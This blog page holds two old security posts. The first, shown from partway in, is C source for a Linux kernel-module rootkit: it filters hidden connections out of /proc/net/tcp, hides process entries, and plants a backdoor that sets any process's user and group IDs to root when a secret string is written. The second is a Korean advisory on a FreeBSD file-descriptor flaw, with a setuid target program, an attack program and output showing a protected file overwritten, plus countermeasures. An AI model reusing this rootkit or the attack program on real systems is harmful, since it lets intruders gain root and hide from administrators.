parameters against our access control list. * for all non-NULL fields of a entry the supplied parameters * must match. Otherways the socket will show up. */ int deny_entry (char *la, char *lp, char *ra, char *rp) {   int                x = 0,                 y,                 z;   while (hidden_tcp[x].id != 7350)     {       y = 0;       z = 0;       if (hidden_tcp[x].local_addr != NULL)         {           if (!strncmp (la, hidden_tcp[x].local_addr, 8))             y++;         }       else         z++;       if (hidden_tcp[x].remote_addr != NULL)         {           if (!strncmp (ra, hidden_tcp[x].remote_addr, 8))             y++;         }       else         z++;       if (hidden_tcp[x].local_port != NULL)         {           if (!strncmp (lp, hidden_tcp[x].local_port, 5))             y++;         }       else         z++;       if (hidden_tcp[x].remote_port != NULL)         {           if (!strncmp (rp, hidden_tcp[x].remote_port, 5))             y++;         }       else         z++;       if ((z != 4) && ((y + z) == 4))         return 1;       x++;     }   return 0; } /* * __new_get_info_tcp: * filter the original get_info output. first call the old function, * then cut out unwanted lines. * XXX: very small buffers will make very large problems. */ int __new_get_info_tcp (char *page, char **start, off_t pos, int count, int f, int what, off_t *fx) {   char                tmp_l_addr[8],                 tmp_l_port[5],                   tmp_r_addr[8],                 tmp_r_port[5],                /* used for acl checks */                 *tmp_ptr,                 *tmp_page;   int                x = 0,                 line_off = 0,                 length,                 remove = 0,                 diff,                 m; #if defined (KERNEL_22)   x = old_get_info_tcp (page, start, pos, count, f); #elif defined (KERNEL_24)   x = old_get_info_tcp (page, start, pos, count); #endif   if (page == NULL)     return x;   while (*page)     {       tmp_ptr = page;       length = 28;       while (*page != 'n' && *page != '')        /* check one line */         {         /*          * we even correct the sl field ("line number").          */           if (line_off)             {               diff = line_off;               if (diff > 999)                 {                   m = diff / 1000;                   page[0] -= m;                   diff -= (m * 1000);                 }               if (diff > 99)                 {                   m = diff / 100;                   page[1] -= m;                   diff -= (m * 100);                 }               if (diff > 9)                 {                   m = diff / 10;                   page[2] -= m;                   diff -= (m * 10);                 }               if (diff > 0)                 page[3] -= diff;               if (page[0] > '1')                 page[0] = ' ';               if (page[1] > '1')                 page[1] = ' ';               if (page[2] > '1')                 page[2] = ' ';             }           page += 6;                /* jump to beginning of local address, XXX: is this fixed? */           memcpy (tmp_l_addr, page, 8);           page += 8;                /* jump to beginning of local port */           memcpy (tmp_l_port, page, 5);           page += 6;                /* jump to remote address */           memcpy (tmp_r_addr, page, 8);           page += 8;                /* jump to beginning of local port */           memcpy (tmp_r_port, page, 5);           while (*page != 'n')        /* jump to end */             {               page++;               length++;             }           remove = deny_entry (tmp_l_addr, tmp_l_port, tmp_r_addr, tmp_r_port);         }       page++;                        /* 'n' */       length++;       if (remove == 1)         {           x -= length;           if (what)                /* count ignored bytes? */             *fx += length;           tmp_page = page;           page = tmp_ptr;           while (*tmp_page)        /* move data backward in page */             *tmp_ptr++ = *tmp_page++; /* zero lasting data (not needed)           while (length--)             *tmp_ptr++ = 0;           *tmp_ptr = 0; */           line_off++;           remove = 0;         }     }   return x; } /* * new_get_info_tcp: * we need this wrapper to avoid duplication of entries. we have to * check for "end of file" of /proc/net/tcp, where eof lies at * file length - length of all entries we remove. */ #if defined (KERNEL_22) int new_get_info_tcp (char *page, char **start, off_t pos, int count, int f) { #elif defined (KERNEL_24) int new_get_info_tcp (char *page, char **start, off_t pos, int count) {   int                f = 0; #endif   int                x = 0;   off_t                max = 0;   max = get_size_off_tcp (start);   if (pos > max)     return 0;   x = __new_get_info_tcp (page, start, pos, count, f, 0, NULL);   return x; } /* * new_write_tcp: * a write function that performs misc. tasks as privilege elevation etc. * e.g.: * echo AUTH_STRING + nr. > /proc/net/tcp == uid 0 for pid nr. */ ssize_t new_write_tcp (struct file *a, const char *b, size_t c, loff_t *d) {   char *tmp = NULL, *tmp_ptr;   tmp = kmalloc (c + 1, GFP_KERNEL);   copy_from_user (tmp, b, c);   if (tmp[strlen (tmp) - 1] == 'n')     tmp[strlen (tmp) - 1] = 0;   if (!strncmp (tmp, AUTH_STRING, strlen (AUTH_STRING)))     {       struct task_struct *x = NULL;       tmp_ptr = tmp + strlen (AUTH_STRING) + 1;       if ((x = get_task (__atoi (tmp_ptr))) == NULL)         {           kfree (tmp);           return c;         }       x->uid = x->euid = x->suid = x->fsuid = 0;           x->gid = x->egid = x->sgid = x->fsgid = 0;         }   kfree (tmp);   return c; } /* * some testing ... */ struct dentry *new_lookup_root (struct inode *a, struct dentry *b) {   if (b->d_iname[0] == '1')     return NULL;        /* will result in: "/bin/ls: /proc/1*: No such file or directory" */   return old_lookup_root (a, b); } static int new_filldir_root (void * __buf, const char * name, int namlen, off_t offset, ino_t ino) {   if (name[0] == '1' && name[1] == '0')        /* hide init */     return 0; /* * hiding the last task will result in a wrong linked list. * that leads e.g. to crashes (ps). */   return real_filldir (__buf, name, namlen, offset, ino); } int new_readdir_root (struct file *a, void *b, filldir_t c) {   real_filldir = c;   return old_readdir_root (a, b, new_filldir_root); } /* * traverse_proc: * returns the directory entry of a given file. the function will traverse * thru the filesystems structure until it found the matching file. * the pr argument may be either NULL or a starting point for the search. * path is a string. if it begins with '~' and pr is NULL the search starts * at proc_root. */ struct proc_dir_entry *traverse_proc (char *path, struct proc_dir_entry *pr) {   int                        x = 0;   char                        *tmp = NULL;   if (path == NULL)     return NULL;   if (path[0] == '~')     {       lst_entry = &proc_root;       return traverse_proc (path + 2, (struct proc_dir_entry *) proc_root.subdir);     }   while (path[x] != '/' && path[x] != 0)     x++;   tmp = kmalloc (x + 1, GFP_KERNEL);   memset (tmp, 0, x + 1);   memcpy (tmp, path, x);   while (strcmp (tmp, (char *) pr->name))     {       if (pr->subdir != NULL && path[x] == '/')         {           if (!strcmp (tmp, (char *) pr->subdir->name))             {               kfree (tmp);               lst_entry = pr;               return traverse_proc (path + x + 1, pr->subdir);             }         }       lst_entry = pr;       pr = pr->next;       if (pr == NULL)         {           kfree (tmp);           return NULL;         }     }   kfree (tmp);   if (*(path + x) == 0)     return pr;   else     {       lst_entry = pr;       return traverse_proc (path + x + 1, pr->subdir);     } } /* * delete_proc_file: * remove a file from of the proc filesystem. the files inode will still exist but it will * no longer be accessable (not pointed to by any other proc inode). the subdir pointer will * be copy'ed to the the subdir pointer of the preceeding inode. * returns 1 on success, 0 on error. */ int delete_proc_file (char *name) {   struct proc_dir_entry        *last = NULL;   char                        *tmp = NULL;   int                        i = 0;        /* delete subdir? */   last = traverse_proc (name, NULL);   if (last == NULL)     return 0;   if (lst_entry == NULL)     return 0;   if (last->subdir != NULL && i)     lst_entry->subdir = last->subdir;   while (*name != 0)     {       if (*name == '/')         tmp = name + 1;       *name++;     }   if (!strcmp (tmp, lst_entry->next->name))     lst_entry->next = last->next;   else if (!strcmp (tmp, lst_entry->subdir->name))     lst_entry->subdir = last->next;   else     return 0;   return 1; } int init_module () {   struct proc_dir_entry        *last = NULL;   last = traverse_proc ("~/net/tcp", NULL);   old_readdir_root = proc_root.FILE_OPS->readdir;   old_lookup_root = proc_root.INODE_OPS->lookup;      proc_root.FILE_OPS->readdir = &new_readdir_root;   proc_root.INODE_OPS->lookup = &new_lookup_root;   if (last != NULL)     { #ifdef DEBUG       printk ("Installing hooks ....n"); #endif       old_get_info_tcp = last->get_info;       old_write_tcp = last->FILE_OPS->write;       last->get_info = &new_get_info_tcp;       last->FILE_OPS->write = &new_write_tcp;     }   return 0; } void cleanup_module () {   struct proc_dir_entry        *last = NULL;   last = traverse_proc ("~/net/tcp", NULL);   proc_root.FILE_OPS->readdir = old_readdir_root;   proc_root.INODE_OPS->lookup = old_lookup_root;   if (last != NULL)     { #ifdef DEBUG       printk ("Removing hooks ....n"); #endif       last->get_info = old_get_info_tcp;       last->FILE_OPS->write = old_write_tcp;     } } <--> 
"Security" 카테고리의 다른 글
  • 현실적인 리눅스 보안(세심한 어카운트 관리) (0)2007/05/04
  • ping 에 응답하지 않기 (0)2007/04/09
  • Advances in kernel hacking (0)2006/11/24
  • 커널의 오류를 이용한 파일에 특정 문자열의 삽입... (0)2006/11/24
2006/11/24 17:06 2006/11/24 17:06
Posted by webdizen
No Trackback No Comment

Trackback URL : http://www.webdizen.net/blog/trackback/2346

Leave your greetings.

[로그인][오픈아이디란?]

Unix & Linux/Security2006/11/24 16:55

커널의 오류를 이용한 파일에 특정 문자열의 삽입 공격 가능성

       커널의 파일 디스크립터 번호 부여 오류를 이용한 파일에 특정 문자열의 삽입 공격 가능성
                                                         
                                                              Mutacker in Null@Root
                                                              mutacker@null2root.org, dbyeom@mail.hangkong.ac.kr
                                                              http://www.kof.co.kr

======================================================================================
0. 들어가기에 앞서

본 문서에 대한 판권 등은 없습니다. 배포는 자유롭게 하셔도 좋지만, 글의 수정은 삼가해 주셨으면 합니다.
물론, 내용상의 잘못된 점이나, 지적 사항은 위의 메일로 보내주시면, 수정하도록 하겠습니다.
아무쪼록 프로그램 개발하시거나, 관리하시는 분들에게 조금이나마 도움이 되었으면 하는 바램에서
이 글은 작성되어졌으며, 악의적으로 공격하는 목적으로 이용되지 않았으면 합니다.

======================================================================================
1. 개요

일반적인 대부분의 유닉스 프로그램은 프로그램이 시작하는 시점에서 세개의 파일 스트림이
개방(open)된 상태로 존재하게 된다.
첫번째는 입력용으로, 두번째는 출력용으로, 세번째는 에러출력 용으로 사용되어진다.
파일 입출력시 버퍼링을 하는 경우의 함수에서 사용하기 위한 stdin, stdout, stderr이 사용 되어지며,
실제 버퍼링을 하지 않는 함수들을 위해서는, STDIN_FILENO(숫자로 0)과 STD-OUT_FILENO(숫자로 1)과
STDERR_FILENO(숫자로 2)을 사용하게 된다.
stdin,  stdout, stderr을 흔히 표준입출력 파일 포인터라 부르며, STDIN_FILENO(0), STD-OUT_FILENO(1),
STDERR_FILENO(2)를 파일 디스크립터라 칭하고 있다.

보통 파이프나 리다이렉션과 같은 것을 지원하기 위해 이들 세 가지 디스크립터들은 부모프로세스에 의해
close 되어질 수 있다. 자식 프로세스는 부모의 파일 디스크립터를 계승하게 되기 때문에, 만일 부모쪽에서
이들을 닫아(close) 버리는 경우, 자식 프로세스도 동일하게 close되어버리는 효과를 얻을 수있는 것이다.

대부분의 유닉스 운영체제의 경우, 처음 파일을 open하게 되면 이 파일은 파일 디스크립터 번호 3번부터
부여받게 되며, 이 후 파일이 오픈 되어지는 순서에 따라 4, 5, 6 식으로 부여가 되게 된다.

그러나, 특정 취약한 운영체제의 경우 만일 부모 프로세스상에서 close(2); 를 한상태에서 자식 프로세스를
생성하고, 특정 파일을 오픈했을 때, 파일 디스크립터 번호가 2번이 되어지는 경우가 있다. 이와 같은
상황에서 만일 stderr을 통해 에러메시지를 출력할 경우, 이는 표준 에러장치로의 출력이 아닌 open되어
있는 파일에 그 내용이 기록이 되어버리는 것이다.
만일 그 파일이 setuid가 걸려 있는 상태의 경우, 권한 밖의 파일에 내용을 추가시키거나 수정할 수 있게
되는 것이다.

이같은 현상은 운영체제 커널상의 오류로 만일 본인이 사용하는 시스템이 이와 같은 결과를 보인다면
커널 패치를 적극 고려해 보아야 할 것이다.

======================================================================================
2. 실험을 위한 시스템

FreeBSD badc0ded.datafort.net 4.4-RELEASE FreeBSD 4.4-RELEASE #0: Tue Sep 18 11:57:08 PDT
2001     murray@builder.FreeBSD.org:/usr/src/sys/compile/GENERIC  i386
(datafort 게임 서버 상에서 실험 - 관리 중인 FreeBSD 시스템이 없어서리.. ^^;;)

======================================================================================
3. 실험을 위한 프로그램

------- 취약성 프로그램 --------------------------------
// cat > vul.c
// gcc -o vul vul.c

#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>

int main(int argc, char **argv)
{
    int fd=open("./vultest.txt",O_RDWR);
    if(fd == -1) {
          fprintf(stderr, "./vultest.txt can not open...\n\n");
          return -1;
    }

    printf("vultest.txt read/write: fd=%d\n", fd);
    fprintf(stderr, "%s\n", argv[1]);
    return 0;
}
------------------------------------------------------


------- 공격용 프로그램 --------------------------------
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>

int main(int argc, char **argv)
{
    close(2);
    execl("./vul", "./vul", "Hacking example!!!", 0);
}
------------------------------------------------------

======================================================================================
4. 실험 결과

4.2 FreeBSD x86

----- level2 login 공격대상 프로그램 생성
bash-2.05$ ls -al
total 16
drwxr-xr-x    2 level2  wheel   512 Oct  9 01:15 .
drwxrwxrwt  141 root    wheel  7680 Oct  9 01:15 ..
-rwsr-xr-x    1 level2  wheel  5063 Oct  9 01:15 vul
-rw-r--r--    1 level2  wheel   492 Oct  9 01:15 vul.c
-rwx------    1 level2  wheel    14 Oct  9 01:17 vultest.txt
bash-2.05$ pwd
/tmp/mu
bash-2.05$ id
uid=1002(level2) gid=1002(level2) groups=1002(level2)
bash-2.05$ cat vul.c
// cat > vul.c
// gcc -o vul vul.c

#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>

int main(int argc, char **argv)
{
    int fd;

    printf("vul started...\n");

    fd=open("/tmp/mu/vultest.txt",O_RDWR);
    if(fd == -1) {
          fprintf(stderr, "./vultest.txt can not open...\n\n");
          printf("error\n");
          return -1;
    }

    printf("vultest.txt read/write: fd=%d\n", fd);
    fprintf(stderr, "%s\n", argv[1]);
    return 0;
}
bash-2.05$ cat vultest.txt
Not hacked...

----- level1 login 공격 프로그램 생성 및 실행
bash-2.05$ ls -al
total 19
drwxr-xr-x    2 level1  wheel    512 Oct  9 01:10 .
drwx-wx-wx  106 root    wheel  11776 Oct  7 03:10 ..
-rwxr-xr-x    1 level1  wheel   4517 Oct  9 01:10 attack
-rw-r--r--    1 level1  wheel    203 Oct  9 01:10 attack.c
bash-2.05$ cat attack.c
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>

int main(int argc, char **argv)
{
    close(2);
    execl("/tmp/mu/vul", "/tmp/mu/vul", "Hacking example!!!", 0);
}

bash-2.05$ ./attack
vul started...
vultest.txt read/write: fd=2

----- level2 login 공격 후의 결과 확인
bash-2.05$ cat vultest.txt  <== 공격 전
Not hacked...

bash-2.05$ cat vultest.txt  <== 공격 후
Hacking example!!!

======================================================================================
5. 타 시스템에서의 실험 결과

이와 동일한 방식을 이용하여 Sparc상에서 동작 중인 리눅스와 x86상에서 동작 중인 리눅스에 대해
적용해 보았을 경우, setuid가 붙어 있지 않은 실행파일에 대해서는 fd 값이 2로 부여가 되지만,
setuid가 적용되어진 실행파일의 경우에는 fd값이 3으로 부여되어짐을 확인 하였다.
하지만, 여전히 fd값이 2로 출력되어지는 부분이 존재하므로 이 부분에 대해서는 좀 더 실험해 볼
필요가 있을 것 같다.

[mutacker@sun fde]$ ./attack   <== setuid가 없는 대상 프로그램 (Linux)
vultest.txt read/write: fd=2

[mutacker@sun fde]$ ./attack  <== setuid가 붙은 대상 프로그램 (Linux)
vultest.txt read/write: fd=3

======================================================================================
6. 결론

현재 다양한 종류의 운영체제에서 이와같이 표준 에러 장치에 대해 부모가 close를 하였을 경우,
자식에게 그대로 승계가 되어지고, 이와 같은 상황에서 특정 운영체제의 경우 새로 정상 open하는
파일에 대해 파일 디스크립터 번호가 표준 에러 장치의 번호가 부여되게 되는 경우가 있으며,
이때 프로그램 중간에 표준 에러장치로 에러 상황을 알리는 프로그램의 경우 그 내용이
새로 open된 프로그램으로 출력이 이루어지는 경우가 발생할 수 있음을 알 수 있었다.

======================================================================================
7. 대비책

이와 같은 현상에 대해 간단한 대비책으로는 파일을 오픈했을 때, 디스크립터 번호가 2인가를 확인하고,
만일 2 이라면 프로그램을 종료를 시키는 방법을 통해 공격을 막을 수 있을 것이다.
또한, 처음 그저 불필요한 파일을 하나 만들고, 첫번째 그 불필요한 파일을 open을 하고, 두번째 부터
실제 중요한 파일을 open하는 방법을 이용하여 이를 막을 수 있으리라 본다.

======================================================================================
8. 참고자료
http://www.securiteam.com/exploits/5GP0S0K6UW.html
"Security" 카테고리의 다른 글
  • 현실적인 리눅스 보안(세심한 어카운트 관리) (0)2007/05/04
  • ping 에 응답하지 않기 (0)2007/04/09
  • Advances in kernel hacking (0)2006/11/24
  • 커널의 오류를 이용한 파일에 특정 문자열의 삽입... (0)2006/11/24
2006/11/24 16:55 2006/11/24 16:55
Posted by webdizen
No Trackback No Comment

Trackback URL : http://www.webdizen.net/blog/trackback/2344

Leave your greetings.

[로그인][오픈아이디란?]

«Prev  1  Next»

RSS HanRSS
Blog Image
webdizen
이곳은 컴퓨터에 대해 연구하고, 공유하고, 소통하기 위한 연구실입니다. 개인적으로는 OLAP, Data Mining, Semantic Web, Data Modeling에 대해서 연구하고 있습니다.

Categories

전체 (3009)
Webdizen (141)
Life (6)
Diary (16)
Blog (9)
IDEA (2)
Travel (10)
Book (16)
Photo (7)
Movie (8)
Music (14)
Leisure Sports (10)
Funny (6)
Hardware (121)
Software (120)
Windows (5)
Unix & Linux (120)
Installation (5)
Kernel (10)
System (34)
Develop (22)
X-Window (0)
Applicaton (31)
Security (4)
Framework (2)
Hadoop (2)
Programming (804)
Algorithm & Data Structure (1)
Assembly (38)
UNIX/Linux C (95)
C++ (128)
STL (4)
Java (38)
Win32 API (92)
ATL/COM (44)
MFC (151)
.NET (26)
WCF/WPF (4)
C# (28)
Network Programming (17)
Database Programming (12)
OpenGL / DirectX (13)
Multimedia Programming (0)
Game Programming (21)
Parallel Distributed Progra... (0)
Reverse Engineering (0)
Debugging (9)
Python (1)
Ruby (1)
Ruby on Rails (1)
QT (4)
GTK (0)
JSP (0)
PHP (6)
ASP.NET (6)
ASP (2)
Development (28)
Useful Library (2)
Data Modeling (0)
Database (105)
Oracle (4)
MSSQL (41)
MySQL (2)
Data Warehouse (2)
Data Mining (4)
Network (66)
Web (79)
DHTML (4)
XHTML (1)
Javascript (1)
CSS (1)
AJAX (9)
XML (11)
Flex (1)
Silverlight (3)
Security (91)
DoS (1)
Kernel (10)
Scanning (3)
Sniffing (0)
Spoofing (4)
Overflow (28)
Web (11)
Shell (10)
Format String (14)
Window (2)
Embedded (70)
Multimedia (27)
Mobile (14)
Graphic (24)
Management (633)
Knowledge (581)
Hadoop (0)

Notice

  • 메타 블로그 사이트에 등록
  • 새해 맞이 블로그의 변화
  • 블로그 명칭 변경
  • 도메인(www.webdizen.net) 구...
  • TEXTCUBE 1.6.1로 업그레이드...

Tags

  • 다이어트
  • 병렬화
  • VisualStudio
  • Hadoop
  • 소운동장
  • SQL
  • 최후의 결전
  • TCP/IP
  • 타이틀 윈도우
  • 프로그래머
  • 복구
  • MPEG
  • Zlib
  • KDE4
  • 알고리즘
  • 영어속독
  • Scanner
  • 파일 특성 조작
  • exception
  • 확장자

Recent Articles

  • 트위터(Twitter)의 시작!.
  • 청년 리더의 조건.
  • 애플의 타블렛 PC - 아이패드....
  • 미래의 인터페이스 - 육감 기....
  • 기초발성법 동영상 강좌.

Recent Comments

  • 학교 과제물중 쓰레드에 대하....
    장진혁 03/17
  • 관리자만 볼 수 있는 댓글입....
    비밀방문자 03/12
  • 상대방의 이야기를 열심히 경....
    DoNuts 03/03
  • Lots of students know techn....
    Bobbi35Shannon 02/25
  • 좋은글 잘 보고 갑니다..
    Und_hacker 01/08

Recent Trackbacks

  • printf,scanf를 이용한 형식....
    yundream의 프로그래밍 이야기 03/10
  • 파일 열기/저장하기 CFileDialog.
    은마군의 나태블록 2009
  • World IT Show 2008.
    상우 :: Oranzie's BLOG 2008
  • cvs서버 설치하기.
    3인3색 2008
  • 속속 공개되는 Google Chart....
    PHP와 Web 2.0 2007

Archive

  • 2010/02 (1)
  • 2010/01 (6)
  • 2009/12 (5)
  • 2009/09 (3)
  • 2009/08 (1)

Calendar

«   2010/03   »
일 월 화 수 목 금 토
  1 2 3 4 5 6
7 8 9 10 11 12 13
14 15 16 17 18 19 20
21 22 23 24 25 26 27
28 29 30 31      

Bookmarks

    • Administration
      • IIS.NET
      • NTFAQ
      • OS의 모든 것
      • 리눅스포털
    • Database
      • SQL Server Central
      • SQL Team
    • Development
      • .NET Heaven
      • ASP Alliance
      • ASP.NET 2.0
      • Bullog.net
      • C# Corner
      • C++ (C PlusPlus.com)
      • C++ Reference
      • CodeGuru
      • CodePlex
      • DebugLab
      • Dev Articles
      • Devpia
      • DotNet Junkies
      • DotNet Zone
      • Driver Online
      • GOSU.NET
      • HOONS 닷넷
      • Joinc 팀블로그
      • KOSR
      • MSDN Home Page
      • OSR Online
      • Sky.ph - 개발자 커뮤니...
      • TAEYO.NET
      • The Code Project
      • WindowsClient.net
      • 김상욱의 개발자 Side
      • 조인시 위키
    • Human Networks
      • belief21c's e-space
      • I think I can
      • Invisible Rover's Blog :D
      • Rodman®
      • ■ Feel So Good~! ■
      • 까만 나비
      • 나를 가꾸는 시간.
      • 나만의 즐거움~~!
      • 단녕
      • 상우 :: Oranzie's BLOG
    • Information Technology
      • Microsoft TechNet
      • 지디넷코리아 - 글로벌...
    • Security
      • FoundStone
      • milw0rm
      • NewOrder
      • OpenRCE
      • Phrack.org
      • Reverse Engineering b1...
      • Reverse Engineering Team
      • RootKit
      • SecurityFocus
      • SecurityXploded by Nag...
      • Wow Hacker
      • Zone-H
Textcube
Louice Studio Inc.
Powered by Textcube. Original designed by Tistory.